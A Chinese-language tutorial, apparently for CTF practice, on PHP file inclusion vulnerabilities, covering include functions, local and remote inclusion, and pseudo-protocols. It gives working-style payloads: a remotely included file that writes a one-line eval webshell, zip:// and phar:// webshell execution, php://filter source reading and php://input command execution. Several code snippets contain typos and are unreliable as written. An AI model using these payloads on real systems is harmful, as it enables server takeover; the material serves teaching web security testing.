web渗透—文件包含
文件包含
一:文件包含介绍
1、原理
原理
:通过php函数引入文件时;对传入的文件名没有进行合理的校验;导致可以恶意操作;比如文件泄露;获取webshell
分类
:
(1)本地包含:通过php包含函数引入服务器端本地文件
(2)远程包含:引入其他服务器的脚本文件
2、文件包含函数
(1)include()
(2)include_once()
(3)require()
(4)require_once()
require 与 include 区别:
include如果包含文件存在错误;会弹出警告;脚本继续执行;
require会终止脚本的执行;once表示不会重复进行包含!
3、文件包含前提
1、phpini中开启包含配置
allow_url_fopen=on//本地包含
allow_url_include=on//远程包含
2、存在可控制包含点
<?php
$file = $GET['file];
include($file)
?>
//GET传值: url/?file=1.jpg
//1.ipg内容为phpinfo():文件包含就会将其中的内容当作php代码当作执行
二:文件包含的利用
1、本地文件包含
本地包含传值方式:url/?file=flag.php
2、远程文件包含
//1.php中的代码;创建shell.php;写入一句话木马
//会在服务器目录生成shell.php;文件内容为一句话木马
//访问上传的文件看是否为200;如果是用蚁剑连接拿下webshell
<?php fputs(fopen('shell.php','w'),'<?php @eval(&_POST['cmd'])';?>
远程包含传值方式:http://ip/?file=http://ip/1.php
三:文件包含伪协议
1、常见的伪协议
file:// 访问本地文件系统
http:// 访问Http网址
ftp:// 访问ftp URL
php:// 访问输入输出流
php://stdin
php://input
php://output
php://filter
zlib:// 压缩流
data://
glob://
2、详细介绍
(1)zip phar伪协议
原理
:zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。zip://中只能传入绝对路径;
要用#分隔压缩包和压缩包里文件的名称,并且#要用url编码%23
;而phar://协议只需要使用/进行分割!
绕过
:新建一个webshell.php文件;内容为一句话木马;压缩为webshell.zip;然后上传!直接访问并不能执行zip文件当中的内容;使用zip://或者phar:// 伪协议
执行zip文件当中的内容!然后使用webshell工具进行连接就可以拿到服务器的权限!
url/?file=zip://webshell.zip%23webshell
//%23是#;webshell是文件的名称;
//webshell.zip需要使用绝对路径
url/?file=phar://phpinfo.zip路径/webshell
(2)php:filter伪协议
原理
:读取php文件当中的内容
url/?file=flag.php //无显示
url/?file=php://filter/convert.base64-eocode/resource=flag.php
(3)php://input协议
原理
:前提条件是allow_url_include为on;php://input会将post请求的数据当作php代码执行
利用
:bp抓包;发送到重发器模块当中;修改为post请求方式;增加<?php system('ls /');?>
;点击send;然后php服务器就会执行这个命令!
四:文件包含-session会话利用
陆续更新当中!